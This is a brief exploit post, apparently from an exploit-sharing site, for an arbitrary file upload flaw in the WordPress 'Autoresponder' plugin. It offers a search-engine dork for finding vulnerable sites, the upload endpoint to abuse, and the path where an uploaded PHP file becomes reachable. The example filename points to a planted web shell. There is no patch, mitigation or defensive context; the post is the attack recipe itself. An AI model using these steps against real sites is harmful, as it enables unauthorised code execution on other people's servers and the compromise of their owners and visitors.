Exploit Wordpress plugins Autoresponder File Upload

#Author : Nabilah Dot ID
#Vulnerabillity : File Upload

#Dork : 
inurl:/autoresponder/jscolor/ ( use our brain )

Exploit & POC : 
http://site-terget/wp-content/plugins/autoresponder/media-upload.php
   
File Access :
http://site-target/wp-content/uploads/svp/headerimage/random.php

(look this view source)

Example : 

http://site.com/wp-content/uploads/svp/headerimage/2014051020-00-00b37.php

########################################
Mr.HaurgeulisX196 | Nabilah Dot ID 

########################################